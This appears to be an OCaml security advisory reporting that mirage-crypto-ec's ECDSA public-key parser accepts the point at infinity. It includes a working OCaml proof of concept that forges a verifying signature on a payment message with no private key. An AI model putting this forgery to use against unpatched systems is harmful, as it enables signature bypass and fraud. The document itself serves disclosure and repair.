P256{,P384,P521}.Dsa.pub_of_octets accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (point_of_octets); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.
The same class is treated as high severity elsewhere. CVE-2022-21449 ("Psychic Signatures", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 ("CurveBall", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.
Check for point at infinity in pub_of_octets.
module Dsa = Mirage_crypto_ec.P256.Dsa
(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
any message with no private key. *)
let () =
Mirage_crypto_rng.(set_default_generator (create ~seed:"forge" (module Fortuna)));
let o_key = Result.get_ok (Dsa.pub_of_octets "\x00") in
let z = Digestif.SHA256.(to_raw_string (digest_string "transfer 1000eur to mallory")) in
let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
let s = String.make 31 '\000' ^ "\001" in
Printf.printf "0x00 accepted as a public key: %b\n" (Result.is_ok (Dsa.pub_of_octets "\x00"));
Printf.printf "forged (r, s=1) verifies under O: %b\n" (Dsa.verify ~key:o_key (r, s) z)
{
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-13.md",
"cwe": [
"CWE-295"
],
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-13.json"
}